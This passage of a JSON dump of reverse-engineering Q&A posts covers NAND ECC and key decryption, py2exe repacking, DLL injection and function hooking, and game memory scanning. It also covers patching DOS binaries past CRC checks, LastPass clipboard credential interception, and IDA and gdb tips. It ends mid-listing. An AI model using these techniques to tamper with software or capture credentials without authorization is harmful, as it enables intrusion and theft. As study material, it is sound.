int checkEcc(u8* datc, u8* spare)\n{\nunsigned int i=0, val=0;\nunsigned char edc[4] = {0,0,0,0};\nunsigned long * data = (unsigned long*) datc;\n\nunsigned int v=0;\n // printf(\"original ECC  : %02x %02x %02x %02x \", (spare[0xC] & 0xC0),       spare[0xD],spare[0xE],spare[0xF]);\n\nfor (i = 0; i < 0x1066; i++)\n{\nif (!(i & 31))\n{\n    if (i == 0x1000)\n    data = (unsigned long*)spare;\n    v = ~*data++; // byte order: LE \n}\n   val ^= v & 1;\n   v>>=1;\n   if (val & 1)\n       val ^= 0x6954559;\nval >>= 1;\n}\n\nval = ~val;\n\nedc[0] = (val << 6) & 0xC0;\nedc[1] = (val >> 2) & 0xFF;\nedc[2] = (val >> 10) & 0xFF;\nedc[3] = (val >> 18) & 0xFF;\n\nif(((spare[0xC] & 0xC0) != edc[0])||(spare[0xD] != edc[1])||(spare[0xE] != edc[2])||(spare[0xF] != edc[3]))\nreturn ECC_FAILED;\n\nreturn ECC_CORRECT;\n}\n
\n\n

At 0x2 in the NAND the version of the flash is stored (2bytes). Further on at 0x8 the offset of the CB is stored, followed by the CF1 offset (4bytes each).

\n\n

At 0x78 the length of the SMC and offset to the SMC are stored (4bytes each).

\n\n

Here is what I was told previously but am still learning and couldnt understand:

\n\n

Checking the key against the nand is quite simple as there are parts of the nand that is encrypted using your key, as key, there are however different algorithms for each part\u2026 most of them use RC4 combined with HMAC-SHA1 (the key for the RC4 cipher is a HMAC-SHA1 hash of your cpukey)

\n\n

to get the data from the nand you have to read each of the 32 pages one by one discarding the 0x10 bytes of spare that follow the 0x200 bytes of userdata\u2026

\n\n

Can someone, anyone make more sense of this for me? Please?

\n", "Title": "How to retrieve stored information, NAND filesystem with VB.Net", "Tags": "|encryption|decryption|", "Answer": "

First, some NAND flash basics: NAND flashes are divided in blocks, and subdivided in pages. The write of pages is atomic (you can program pages partially, up to 4 times for a single page, but it's rarely used), and erase is always done on a whole block. Moreover, due to the lack of reliability, pages come with spare area to put some error correction codes.

\n\n

Let's try to work with what you've got:\nA source code with a loop going from 0 to 0x1066, but using data only when (!(i & 31)), with a condition on (i == 0x1000) to switch from data to spare, and data is an unsigned long *, usually a pointer to 4 bytes long integers. So, those are some 512 bytes pages, with spares at least 12 bytes large. With byes 12, 13, 14 and 15 used for EDC, it's 16 spare bytes, which is common for small-pages NANDs. I also expect 32 pages per block.

\n\n

Now, your EDC is just an EDC, not an ECC, maybe that worked on old NAND technologies.

\n\n

But that's all we can get. We can confirm what you already know.

\n\n

You ask about a NAND version, CB SMC and CF1 (whatever those acronyms mean for you). With no data, we can't show you any pattern allowing to tell if your data enclose the spares or not, if your data seem inverted, and so on. What do you expect from us ?

\n\n

In fact, the easiest way would be to have the filesystem source code, but maybe you don't want to publish potential flaws in your security implementation...

\n" }, { "Id": "6761", "CreationDate": "2014-12-04T14:47:41.347", "Body": "

I have an application in Python compiled with py2exe.\nI have successfully extracted python scripts using Py2ExeDumper converted to .py using Easy Python Decompiler.

\n\n

I made some modification to the python code and recompiled .py files to .pyc files.

\n\n

Question : How can I rebuild the exe file using the new edited .pyc files ?

\n\n

Thanks

\n", "Title": "Modify py2exe packed executable", "Tags": "|python|patch-reversing|", "Answer": "

A py2exe generated executable basically consists of three main parts - PYTHONSCRIPT, the runtime python dll & library.zip.

\n\n

PYTHONSCRIPT can be modified with a decent resource editor. It is basically a marshalled array holding pyc files. The main script of the application is usually stored here.

\n\n

In order to make changes you need to unmarshal the code objects, decompile it to py, make changes, recompile back to pyc, marshal it back to generate a new PYTHONSCRIPT and finally update the executable.

\n\n

Modifying library.zip is easier as it is a standard zip file. It contains other pyc/pyo files. You can decompile them, make changes, recompile it back to pyc/pyo, and zip them up. Next replace the overlay in the executable with your new zip file and you are done.

\n\n

In order to automate some of the above steps you can use a tool Py2Exe Binary Editor\n
Note: I am the author of the above tool

\n" }, { "Id": "6769", "CreationDate": "2014-12-05T21:38:11.250", "Body": "

I'm trying to connect a real-life motion simulator to my pc gaming rig one game at a time. Since all the GTA games are super hackable (with respect to physics, map, & texture hacking), AND the fact that GTA5 is coming soon to PC, i thought it would be a cool start.

\n\n

From the motion simulator side, it seems that the most logical point to pull a feed would be the vehicle's suspension. Speed, mass, obstacles, handling, etc... are already computed by the game & mirroring the suspension should be a pretty believable experience.

\n\n

Does this sound doable? Has anyone tried to pair a real-life machine with existing game vehicle before? Any experiences or insight to what this would entail would be extremely appreciated.

\n\n

From the research I've put into this project, it seems that the hardest part will be to pull a realtime feed off an in-game event as the game is already compiled. My hope is that there is some existing trigger for debugging or perhaps controller feedback in place. Alternatively, what are the chances of probing around an assembly code level version of the game to insert calls to external scripts? I realize that a full decompile to a high level language is 99% never going to work again with a game this complex.

\n\n

Thanks for any helpful contributions pointing in the right direction...

\n", "Title": "Connecting a Motion Simulator to GTA", "Tags": "|decompilation|x86|c++|objdump|", "Answer": "

Not sure if I get this the right way but want to create physical feedback of the simulated car in game to your real seat/cockpit and also drive it from there. (something like Plane HW simulators)

\n\n
    \n

  1. Driving

    \n\n

    that should be pretty easy just use joystick and some keyboard messages inserter (or real hacked keyboard). I assume you already know how to do this part

    2. \n

  2. feedback

    \n\n

    I would create some starting App that would own the Game's process so I could have full Access to its memory. Then I would track all the memory chunks allocated to it and scan for periodic changes then draw it as some video overlay and play the game to see which chunks are changing dependently to what you do in game.

    \n\n

    Good way is also log the memory chunks to file for later inspections once you get the candidates for memory locations that could hold the simulated car parameters then try to hack them to see if anything match to in game car speed,orientation ...

    \n\n

    You also need some ID of the chunks so look for specific patterns in them so you can find the same chunk even when it is reallocated (or game is restarted)

    3. \n

  3. DLL's

    \n\n

    if the GAME use any DLL for specific task like physics simulation then you are in luck and can create wrapper DLL which will have the same interface as original DLL. So create DLL which will just call the calls of the original DLL plus add of some logging so you see what you need (similarly to bullet #2). Once identified what you need then you can easily insert you driving code into it ...

    4. \n
\n\n

[Notes]

\n\n

Did not do anything like this in a very long time so I have no clue of nowdays tools for this. My favourite tool back in the day was DLPORTIO driver for windows 9x,nt,w2k,xp. it enables full access to everything from IO to memory without exceptions ...

\n\n

If the game has player as a complex class then you can try to search for Players name in memory and look around its location for parameters you need

\n" }, { "Id": "6776", "CreationDate": "2014-12-07T05:47:59.717", "Body": "

We have a DOS executable program like to NC. How do we find and change a text or a ASCII art in it?

\n\n

I'm a newbie in reverse.

\n", "Title": "Change a text in DOS executables", "Tags": "|dos|", "Answer": "

Tools

\n\n

Any hex editor will do. Under DOS both NC and VC have their own which are enough. Very good DOS tool is HIEW (hex editor + x86 dissasembler).

\n\n

what to do

\n\n
    \n

  1. determine the executable form

    \n\n

    open it as text/hex and if no program string are present then they are in different file or the file is packed/encrypted. Some executables are packet by PKLITE tools so unpack them. If file is encrypted you have to try to decrypt it first.

    2. \n

  2. find the text you want to change

    3. \n

  3. edit the text

    \n\n

    The string size must stay the same !!! If program uses any kind of CRC then you have to override the call by nop/jump or change the comparison values to the new CRC

    4. \n

  4. that should be all but

    \n\n

    If the program uses those texts in specific ways then some thing can be broken like search for specific character/pattern in string to do some crazy effect etc. So if the edit is bugged return to original executable and try to edit string one by one ... to detect which strings will broke the exe. After that just leave those as are and edit the rest to what you need

    5. \n

  5. if all fails

    \n\n

    Then write TSR launcher for your program (terminate and stay program) that will change the text screens for you. In DOS there are no access violations so you can do anything...

    \n\n

    For example:

    \n\n
      \n

    1. detect the actual screen the program is presenting

      \n\n

      Text mode VideoRAM is at B800:0000h if my memory serves well Each character is represented by 2 BYTEs (one is ASCII and one is color attributes). Standard text-mode used in DOS is 80x25 characters so read the specific positions of screen and detect strings that match each page of program.

      2. \n

    2. if page detected

      \n\n

      Then rewrite it by your new page (can flicker a bit)

      3. \n

    3. continue this scanning in some timer ... (PIT interrupt or keyboard interrupt)

      4. \n

    4. you can combine this with keyboard keystrokes detection

      \n\n

      This way you know if you hit F1 then page F1 will occur etc. This can be used for hard to detect pages (have no title).

      5. \n
    6. \n
\n\n

Windows

\n\n

You could write window App that will present the DOS program. Just you need to pass mouse movement and keyboard events to the DOS program (which can be run as hidden process) and present the (invisible) DOS screen in your Window. In Windows use DLPORTIO driver or any other way to get Kernel mode access rights so you can actually read / access the DOS VRAM or access the commandline or DOSbox backbuffer by WinAPI in gfx. Decode it back to text (the font is usually fixed so that should be easy enough) and recode it to your new texts and present back in your window App.

\n\n

[Notes]

\n\n

Graphical DOS program means it uses graphic video mode instead of Text mode. NC is example of Text mode program not graphical !!! Some Text mode based Apps use different text modes so you should detect actual text mode resolution. I think some call to EGA/VGA BIOS int 13h should do the trick or you can hook up the entire interrupt for this. If you got aligned lines and table borders then that can be also used for resolution detection. You should do this once in a while because resolution can change during operation for example try ALT+F9 in VC.

\n" }, { "Id": "6779", "CreationDate": "2014-12-07T19:50:24.650", "Body": "

Where does newly created structure go to from Pseudocode window? I'm referring to structure that you create via right-click on variable and choosing \"Create new struct type\".

\n\n

I don't see new structure in View / Open Subviews / Structures but I'd like to modify it afterwards.

\n\n

\"enter

\n\n

I'm using IDA Pro 6.5

\n", "Title": "IDA Pro: Where does newly created structure go to from Pseudocode window?", "Tags": "|ida|hexrays|", "Answer": "

The created types get added to the Local Types list (View->Open subviews->Local types, or Shift-F1). To jump directly to the specific type, choose \"Jump to local type...\" from the context menu on a variable of that type.

\n\n

You can import any structure from Local Types to the Structures list by double-clicking it or selecting \"Syncronize to idb\" from the context menu.

\n\n

Additionally, the structure gets imported automatically if you select \"Jump to structure definition\" (Z) on any of its fields in the pseudocode.

\n" }, { "Id": "6782", "CreationDate": "2014-12-07T22:49:30.900", "Body": "

How can I set memory breakpoint on field of structure ?

\n\n

Currently if I mapped structure to memory region it uses starting address of structure as address of all fields. See screenshow

\n\n

\"enter

\n\n

As result I cannot quickly add breakpoint to field isHandshakeReceived. I'd need to manually calculate its address.

\n\n

Is there easier method ?

\n", "Title": "IDA Pro: How can I set memory breakpoint on field of structure?", "Tags": "|ida|", "Answer": "

Like most input fields in IDA, the breakpoint dialogue's Location field accepts expressions like

\n\n
eax + GetMemberOffset(GetStrucIdByName(\"foo_t\"), \"isHandshakeReceived\")\n
\n\n

I have no idea why IDA doesn't accept 0x376e5f0 + foo_t.isHandshakeReceived... Anyway, being able to enter expressions is very useful and it can save a lot of hassle.

\n\n

The erroneous address display is a result of the simplistic way in which IDA manages things internally. Basically, everything contained in a struct or array belongs to its starting address ('head'), and if the display is continued over multiple lines then IDA simply reprints the starting address instead of the correct address. It's a bit annoying but that's the way IDA works.

\n\n

P.S.: perhaps it would be worth it to file a defect report or post in IDA's bug forum; after all, the displayed addresses are definitely wrong. I wouldn't hold my breath but who knows...

\n" }, { "Id": "6783", "CreationDate": "2014-12-08T00:32:52.303", "Body": "

A few weeks ago I made a proof-of-concept app demonstrating how LastPass' method of filling out creds in Chrome was insecure. For those interested the source is at https://github.com/activems/clipcaster

\n\n

Essentially they copy a chunk of javascript to the clipboard and have the user execute it. This includes the user name and password. In previous versions it has been filled out plainly as:

\n\n\n\n
if (l_bte) {\n    l_sfv(l_bte, decodeURIComponent(escape(atob('dXNlckBleGFtcGxlLmNvbQ=='))));\n}\nl_sfv(l_bpe, decodeURIComponent(escape(atob('cDRzc3cwcmQ='))));\n
\n\n

With 'dXNlckBleGFtcGxlLmNvbQ==' being Base64 for 'user@example.com' and 'cDRzc3cwcmQ=' being 'p4ssw0rd'

\n\n

LastPass recently updated the JavaScript they use. Now it is (full version at https://raw.githubusercontent.com/activems/clipcaster/master/lastpass_output_v2.js):

\n\n\n\n
var l_x = function(t, l, m) {\n    var o = [];\n    var b = '';\n    var p = document.location.href.replace(/https?:\\/\\//, '').substring(0, l);\n    p = l_s('' + l_f(m) + p);\n    for (z = 1; z <= 255; z++) {\n        o[String.fromCharCode(z)] = z;\n    }\n    for (j = z = 0; z < t.length; z++) {\n        b += String.fromCharCode(o[t.substr(z, 1)] ^ o[p.substr(j, 1)]);\n        j = (j < p.length) ? j + 1 : 0;\n    }\n    return decodeURIComponent(escape(b));\n};\n\n....\n\nvar l_f=function(m){ \n    var t=new Date().getTime() /\n        1000 | 0;\n        while (t % 10 != m) {\n            --t;\n        }\n        return t;\n    };\n\n....\n\nif (l_bte) {\n\n    l_sfv(l_bte, l_x(atob('W01cCVUlA1AVCkIDAk8AC1g='), 61, 0));\n}\nl_sfv(l_bpe, l_x(atob('QldeA0BREUAWDEMC'), 61, 0));\n
\n\n

Is there any pragmatic reason to write JavaScript like this besides obfuscation?

\n", "Title": "LastPass Android javascript behaviour", "Tags": "|android|javascript|security|", "Answer": "

In short, no. If they're going to implement the \"crypto\" in Javascript in this way there isn't anything you can do beyond more obfuscation. This is 100% applicable to this situation but see MataSano's article here explaining pitfalls of client side authentication using JavaScript.

\n\n

Similar to what's touched on in the article, the issue is that no matter how complicated the JavaScript is, it's trivial for an attacker to intercept and run the code. Similar to a MitM where an attack can intercept and replace client side JavaScrip, in this case the issue is that it's so easy for another app to access the Clipboard via the ClipboardManager. A much better bare minimum solution would be to have LastPass et al store saved credentials in an authenticated SQLite database. And upon detecting the fillable are use code in the application. to pull the saved credentials and enter them directly instead of using the Clipboard and running JavaScript.

\n\n

The crux of the problem is it's too easy for an attacker to get a callback using the current API; having the app use its own database prevents an attacker from intercepting the authentication workflow without having root privileges (which is a different discussion altogether). This is a good example of not considering security from the ground up when implementing an application.

\n\n

As an aside, cool stuff and reporting the bug. Can you put a vulnerable version of the application on github (if you haven't already)? It would be a great demo in the future.

\n" }, { "Id": "6790", "CreationDate": "2014-12-08T12:14:51.510", "Body": "

My target exe file has a button. It will display a webpage when the button is clicked on. I used OllyDBG to disassemble this file. My questions are:

\n\n
    \n
  1. How can I find the url of this webpage? I have searched text strings, but found nothing.
    2. \n
  2. I want to create a new button with the same function as this previous button. How can I make this work?
    3. \n
\n", "Title": "How to add new button to an executable?", "Tags": "|ollydbg|patch-reversing|", "Answer": "

As for the webpage URL changing use CFF Explorer' hex editor to search for the caption of the button, there you will find a parameter that execute the URL and change it to your favourite

\n" }, { "Id": "6792", "CreationDate": "2014-12-08T14:16:21.153", "Body": "

I have a binary test that I want to debug with gdb. As you can see pwd is /tmp:

\n\n
$ gdb\n(gdb) file test\nReading symbols from /tmp/test...(no debugging symbols found)...done.\n(gdb) pwd\nWorking directory /tmp\n(gdb) run\nStarting program: /tmp/test\n
\n\n

or

\n\n
$ pwd\n/tmp\n$ gdb test\nReading symbols from /tmp/test...(no debugging symbols found)...done.\nThe target architecture is assumed to be i386\n(gdb) run\nStarting program: /tmp/test\n
\n\n

The problem is that gdb executes the file with the absolut path /tmp/test instead of the realtiv path test. Which means argv[0]=\"/tmp/test\".

\n\n

How can I make gdb execute the file with the relativ path (argv[0]=\"test\")?

\n", "Title": "How to debug a binary with the relative path in argv[0]?", "Tags": "|linux|gdb|", "Answer": "

Figured it out myself with a cool trick I didn't know before - set exec-wrapper

\n\n
$ cat wrapper.sh\n#!/bin/bash\np=\"test\"\nexec -a \"$p\" \"$@\"\n
\n\n

and in gdb

\n\n
(gdb) set exec-wrapper ./wrapper.sh\n
\n\n

This way you can set the argv[0] to whatever you want.

\n\n

source: https://sourceware.org/ml/gdb/2013-05/msg00049.html

\n" }, { "Id": "6813", "CreationDate": "2014-12-13T02:11:52.660", "Body": "

I study an analysis paper about a trojan and there are the following assembly lines:

\n\n
.text:004010D0 Get_PE_section_address proc near        \n.text:004010D0\n.text:004010D0 arg_0           = dword ptr  4\n.text:004010D0\n.text:004010D0                 mov     ecx, [esp+arg_0]\n.text:004010D4                 mov     eax, [ecx+3Ch]\n.text:004010D7                 movzx   edx, word ptr [eax+ecx+14h]\n.text:004010DC                 add     eax, ecx\n.text:004010DE                 movzx   ecx, word ptr [eax+6]\n.text:004010E2                 push    ebx\n.text:004010E3                 add     edx, eax\n.text:004010E5                 push    esi\n.text:004010E6                 lea     esi, [ecx+ecx*4]\n.text:004010E9                 lea     eax, [edx+esi*8-38h]\n.text:004010ED                 xor     edx, edx\n.text:004010EF                 test    ecx, ecx\n.text:004010F1                 jbe     short loc_401102\n.text:004010F3\n\n.text:004010F3 loc_4010F3:                            \n.text:004010F3                 mov     bl, [eax+5]\n.text:004010F6                 test    bl, bl\n.text:004010F8                 jz      short loc_401104\n.text:004010FA                 inc     edx\n.text:004010FB                 sub     eax, 28h\n.text:004010FE                 cmp     edx, ecx\n.text:00401100                 jb      short loc_4010F3\n.text:00401102\n\n.text:00401102 loc_401102:                             \n.text:00401102                 xor     eax, eax\n.text:00401104\n\n.text:00401104 loc_401104:                             \n.text:00401104                 pop     esi\n.text:00401105                 pop     ebx\n.text:00401106                 retn\n\n.text:00401106 Get_PE_section_address endp\n
\n\n

As you can see, the owner of the paper renamed the function as Get_PE_section_address.\nI spent a lot of time to understand why he/she calls in that way because I could not understand why this piece of code retrieves the the PE section address.

\n\n

So, my question would be if there is anyone who can tell me which lines tells us that this is something about PE section address.

\n\n

PS: I tried to work with the offsets but with a low success rate. The only thing I can say is that ebx = pointer to the malicious executable and arg_0 = 0\nAfter searching a while PE file format papers, i have found out that the second line

\n\n
   mov     eax, [ecx+3Ch]\n
\n\n

gives me the file address of the exe header.

\n\n

best regards,

\n", "Title": "Get the PE section address", "Tags": "|assembly|pe|section|address|", "Answer": "

looks like some homemade untested code for retrieving section address retrieves address of second section if the section name[5] is null terminator \\x0

\n\n
MOV     ECX, DWORD PTR SS:[ESP+4]          ; ecx = 1000000 base of image\nMOV     EAX, DWORD PTR DS:[ECX+3C]         ; eax = 0xe8 ptrtopeheader\nMOVZX   EDX, WORD PTR DS:[EAX+ECX+14]      ; edx = e0 = sizeofoptional header\nADD     EAX, ECX                           ; eax = peheader\nMOVZX   ECX, WORD PTR DS:[EAX+6]           ; ecx - no of sections\nPUSH    EBX\nADD     EDX, EAX                           ; edx = 10001c8 ?\nPUSH    ESI\nLEA     ESI, DWORD PTR DS:[ECX+ECX*4]      ; esi = 14 ?\nLEA     EAX, DWORD PTR DS:[EDX+ESI*8-38]   ; ? esi * 8 - 38 + edx ; 1000230\nXOR     EDX, EDX\nTEST    ECX, ECX\nJBE     SHORT 01063F5E                     ; jmp ot if no sections\nMOV     BL, BYTE PTR DS:[EAX+5]            ; checks for 0 in section name ?\nTEST    BL, BL                             ; some kind of homemade crap\nJE      SHORT 01063F6C                     ; jmps out of proc with address of second section if section name was sya .rsrc\nINC     EDX                                ; loop checking section 1\nSUB     EAX, 28                            ;  size of section header\nCMP     EDX, ECX                           ; counting no of sections\nJB      SHORT 01063F05                     ; <loop>\n
\n" }, { "Id": "6828", "CreationDate": "2014-12-15T08:51:36.597", "Body": "

I am facing a little bit of problem during reverse a QT application with Ollydbg or IDA.

\n\n

This software use a protection schema to indetify the number of click made on a QList. After a random amount of click on list rows replace the content of the list with a blank string. That's give me troubles because the protection is dinamic.

\n\n

Someone of you can point me to some hints to work with QT application or explain me how to identify an event (signal/slot) and work on it please?

\n\n

Any help will be appreciated, i have searching a lot but there aren't tutorial or documentation about QT reversing...

\n\n

Thanks

\n", "Title": "Hints to reverse engineering a QT software", "Tags": "|ida|ollydbg|patch-reversing|qt|", "Answer": "

I would try another approach, without using Olly or IDA, get Cheat Engine, attach it to your software and give X clicks. Search that int value on C.E., and increment while searching too.
\nCheat Engine will \"catch\" the variable faster than searching through regular debuggers.\nSet the var to 0 and lock it.
\nYes, I know C.E. is not a reversing tool, but in this case, and given your RE experience, seems the most fit.\n
\nOr, send the link/.exe and I'm willing to help you.

\n" }, { "Id": "6833", "CreationDate": "2014-12-16T12:47:15.673", "Body": "

I am learning DLL injection basics and different techniques to achieve it, like using CreateProcess and LoadLibrary for example, or simply replacing a .dll in folder where the application to inject into resides. \nI was able to perform some basic tasks after having loaded the .dll into application's memory space like invoking a MessageBox on DLLEntry and some others. \nBut how can one manipulate with the code of the application itself, eg. calling a certain procedure that is part of the application, or simply modifying a variable? \nMost tutorials I have read online discuss only injection process itself, but not the actual manipulations with applications. Or at least I am having trouble finding that information.

\n\n

So, how to find/extract the memory parts of the application you are interested in and then modify/alter them?

\n", "Title": "DLL Injection search for procedures/variables", "Tags": "|dll|winapi|dll-injection|function-hooking|", "Answer": "

If you want to use a function in the application the bottom line is that you need to know where it's located. Without ASLR you can hardcode the address of the function into your DLL, and use a function pointer to call it. If you want to modify data from a function in a loaded library then you would need to hook that function, and call your own code for its operations.

\n\n

If an application's function is at 0x0041A000 you can create a function pointer if you know all the information about the function; the call convention, return value, and parameters. Assume it's a __stdcall, two VOID *parameters, and returns a DWORD.

\n\n
typedef DWORD (WINAPI *FunctionType)(VOID *a, VOID *b);\n\nDllEntry(...)\n{\n    FunctionType function = (FunctionType) 0x0041A000;\n\n    function(your_param1, your_param2);\n}\n
\n\n

You can also hook that function by using the Windows Detours library. Again you would hardcode the address of the function you want to hook, and write your own version of the function. You need to make sure that it returns the same type of value as the real function to ensure nothing breaks in the calling function. Using GetProcAddress you can hook a function call of a library rather than the application's function.

\n\n

This all gets complicated with ASLR. As the application might not be at the location you think it is. This answer can help with the calculations of certain sections determined by the base address of the program.

\n\n

Modifying global variables is the same kind of deal. You'll need to find their offset in the program. You can then create pointer to that memory address for manipulating it.

\n" }, { "Id": "6835", "CreationDate": "2014-12-16T20:18:18.937", "Body": "

I want to modify my teamspeak server (linux), I'm particulary interested in the connection with clients (UDP), so I figured I need to set a breakpoint at the linux socket function to start reversing. How can I achieve this?

\n\n

Thanks!

\n", "Title": "Setting a breakpoint at system call", "Tags": "|linux|operating-systems|", "Answer": "

In gdb you can set a syscall breakpoint with catch syscall.

\n\n

If this is in 32-bit x86 (IA-32), check the syscall number in your_linux_source_dir/usr/include/asm/unistd_32.h. There is no syscall called socket in 32-bit x86, do you mean socketcall? Its number is 102.

\n\n

If this is in x86-64 (AMD64), check the syscall number in your_linux_kernel_source_dir/usr/include/asm/unistd_64.h. The syscall called socket is 41.

\n\n

Then run the executable in gdb:

\n\n
$ gdb myexecutable\n
\n\n

And set the syscall breakpoint (41 is the socket syscall number in x86-64, change to appropriate syscall number for you):

\n\n
(gdb) catch syscall 41\n
\n\n

And then run the program:

\n\n
(gdb) r\n
\n\n

Using the name of syscall (such as socket) instead of the number (eg. 41) may also work, depending on your configuration.

\n" }, { "Id": "6842", "CreationDate": "2014-12-17T19:39:18.250", "Body": "

I would like to debug my elf file on linux using GDB and follow the disassembly in IDA, is this possible? And if it is how would I rebase IDA to match with GDB?

\n\n

Thanks!

\n", "Title": "How to rebase IDA to match GDB", "Tags": "|ida|linux|gdb|", "Answer": "

If you are trying to rebase an elf, you could do info proc mappings. This will show you all of the mapped addresses. (This could also be viewed by doing cat /proc/<pid>/map)

\n\n

Then just rebase your IDA via EDIT->Segments->Rebase program and select Image Base from the radio buttons.

\n\n

Ex:

\n\n
(gdb) info proc mappings \nprocess 12383\nMapped address spaces:\n    Start Addr   End Addr       Size     Offset objfile\n     0x8048000  0x8049000     0x1000          0      /home/user/my_elf\n     0x8049000  0x804a000     0x1000          0      /home/user/my_elf\n     0x804a000  0x804b000     0x1000     0x1000      /home/user/my_elf\n    0xb7e73000 0xb7e74000     0x1000          0\n    0xb7e74000 0xb7fbd000   0x149000          0     /lib/i386-linux-gnu/libc-2.13.so\n    0xb7fbd000 0xb7fbe000     0x1000   0x149000     /lib/i386-linux-gnu/libc-2.13.so\n    0xb7fbe000 0xb7fc0000     0x2000   0x149000     /lib/i386-linux-gnu/libc-2.13.so\n    0xb7fc0000 0xb7fc1000     0x1000   0x14b000     /lib/i386-linux-gnu/libc-2.13.so\n    0xb7fc1000 0xb7fc4000     0x3000          0\n    0xb7fdf000 0xb7fe1000     0x2000          0\n    0xb7fe1000 0xb7fe2000     0x1000          0           [vdso]\n    0xb7fe2000 0xb7ffe000    0x1c000          0     /lib/i386-linux-gnu/ld-2.13.so\n    0xb7ffe000 0xb7fff000     0x1000    0x1b000     /lib/i386-linux-gnu/ld-2.13.so\n    0xb7fff000 0xb8000000     0x1000    0x1c000     /lib/i386-linux-gnu/ld-2.13.so\n    0xbffdf000 0xc0000000    0x21000          0           [stack]\n
\n\n

If I would be looking at the elf in IDA i would use 0x8048000 for the base. If I would be looking at libc-2.13.so I would use 0xb7e74000.

\n\n

Hope that helps.

\n" }, { "Id": "6854", "CreationDate": "2014-12-19T12:38:47.790", "Body": "

It seems that Windows usually finds its support structures inside PEs by looking at the header information (especially OptionalHeader.DataDirectory[]), which means that there is no mandatory mapping between these data blocks and certain COFF sections (even though it is somewhat customary, as with .rsrc). As a consequence the COFF sections and their names tend to be all over the place when an executable has been mangled by a packer, 'protector' or some such.

\n\n

However, it seems that Windows determines location and size of the .pdata (array of RUNTIME_FUNCTION) via the .pdata COFF section header. Is that correct?

\n\n

That would make this section unique in that even the most hare-brained 'protector' would have to emit accurate information under the correct name, or register that information dynamically...

\n", "Title": "Win64 .pdata required to be a separate COFF section?", "Tags": "|windows|pe|seh|binary-format|", "Answer": "

No, the Windows loader doesn't care about the name of the .pdata section. It doesn't find the RUNTIME_FUNCTION structs based on the section name, but rather based on the content of NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].

\n\n

Furthermore, the RUNTIME_FUNCTION structs don't need to be in \"a separate COFF section\".

\n" }, { "Id": "6856", "CreationDate": "2014-12-19T17:05:15.420", "Body": "

Let me explain what I'm trying to do, and then where I am at...

\n\n

As you can see on this image :

\n\n

\"enter

\n\n

There is a PDF417 at the end containing a string that at my best guess is some base64 string.

\n\n

Here it is :

\n\n
\n

3GLDjVKaUbwysHTAffMyChP1wqzvc/h41aebPrw0PsprtPy85tBa87vzsLw6hL8t5FBJLGlHODGQ0O8ml0OKs7mmqgB1pZsAvcs2CyAgICA0MzA2MzjAyzYLICAgICBKdWxpZSAgIDMwU09CUwAApQAAagcAAAAAAAAA

\n
\n\n

And when I decode it, I get the following :

\n\n

\"enter

\n\n

I kind of found the waitress name \"Julie\" and in front of it, there is a bunch of space characters, which I guess it is because there is a limited size to the name.

\n\n

Same for the bill number, and the table number.

\n\n

But I was wondering what kind of information was in the previous bits, so any idea how to proceed to decode/decrypt this information would be greatly appreciated.

\n\n
\n\n

The machine used for the generation of the base64 string and its content is a \"AEC-6822\".

\n\n

And here is some unrelated information to what I'm trying to do, but may help... (I hope)\nhttp://www.revenuquebec.ca/documents/en/publications/in/in-577-v(2013-08).pdf

\n\n

Thank you very much,\nANY help is greatly appreciated!

\n", "Title": "Reverse Engineering Quebec Canada PDF417 restaurant bills", "Tags": "|decryption|", "Answer": "

Based on a few samples, here is an overview of some fields that can be read in clear.

\n\n

Source: https://github.com/fproulx/tastybits/blob/master/NOTES.md

\n\n

Datasets: https://github.com/fproulx/tastybits/tree/master/sample-data

\n\n

Unofficial specification

\n\n
\n \n
\n" }, { "Id": "6862", "CreationDate": "2014-12-20T18:37:54.477", "Body": "

How can someone with little programming knowledge except for some Ruby on Rails/Ruby begin on a path of Reverse Engineering as a hobbyist to help the exploitation process of modern-day gaming consoles like Xbox Ones and PS4s?

\n\n

I realize there is no simple \"do this, then that\" spoon-fed process of learning an extremely diverse subject matter like reversing but there are such vast amounts of tutorials that I have no idea which ones really pertain to my interest of specifically game console exploitation! I really want to help contribute to the long-term process of finding these vulnerabilities and get unsigned code running on these systems

\n", "Title": "How to start learning reverse engineering to eventually help exploiting of modern consoles like Xbox One, PS4?", "Tags": "|disassembly|obfuscation|exploit|embedded|", "Answer": "

Some things you will inevitably have to know at some degree to be able to reverse engineer Game Consoles:

\n\n\n" }, { "Id": "6867", "CreationDate": "2014-12-21T17:39:08.313", "Body": "

I'm in the process of trying to reverse engineer a GPS-watch firmware image in purpose of adding a new feature to the watch. Here's what I got so far

\n\n\n\n

Here's the binwalk output:

\n\n
DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n344446        0x5417E         Zlib compressed data, default compression\n548342        0x85DF6         Zlib compressed data, default compression\n548698        0x85F5A         Zlib compressed data, default compression\n548849        0x85FF1         Zlib compressed data, compressed\n549789        0x8639D         Zlib compressed data, compressed\n550677        0x86715         Zlib compressed data, compressed\n550878        0x867DE         Zlib compressed data, default compression\n551849        0x86BA9         Zlib compressed data, default compression\n551871        0x86BBF         Zlib compressed data, best compression\n552002        0x86C42         Zlib compressed data, default compression\n552145        0x86CD1         Zlib compressed data, compressed\n552274        0x86D52         Zlib compressed data, default compression\n552425        0x86DE9         Zlib compressed data, compressed\n552778        0x86F4A         Zlib compressed data, default compression\n553056        0x87060         Zlib compressed data, default compression\n553199        0x870EF         Zlib compressed data, compressed\n554875        0x8777B         Zlib compressed data, compressed\n555202        0x878C2         Zlib compressed data, default compression\n555341        0x8794D         Zlib compressed data, compressed\n555600        0x87A50         Zlib compressed data, default compression\n555778        0x87B02         Zlib compressed data, default compression\n555928        0x87B98         Zlib compressed data, default compression\n556221        0x87CBD         Zlib compressed data, compressed\n556502        0x87DD6         Zlib compressed data, default compression\n556612        0x87E44         Zlib compressed data, default compression\n556953        0x87F99         Zlib compressed data, compressed\n559176        0x88848         Zlib compressed data, default compression\n559922        0x88B32         Zlib compressed data, default compression\n560116        0x88BF4         Zlib compressed data, default compression\n560292        0x88CA4         Zlib compressed data, default compression\n560417        0x88D21         Zlib compressed data, compressed\n560774        0x88E86         Zlib compressed data, default compression\n561567        0x8919F         Zlib compressed data, default compression\n562207        0x8941F         Zlib compressed data, best compression\n670601        0xA3B89         Zlib compressed data, best compression\n673859        0xA4843         Zlib compressed data, compressed\n678389        0xA59F5         Zlib compressed data, default compression\n797326        0xC2A8E         Zlib compressed data, default compression\n811248        0xC60F0         Zlib compressed data, compressed\n850955        0xCFC0B         Zlib compressed data, best compression\n1023917       0xF9FAD         Zlib compressed data, best compression\n1079306       0x10780A        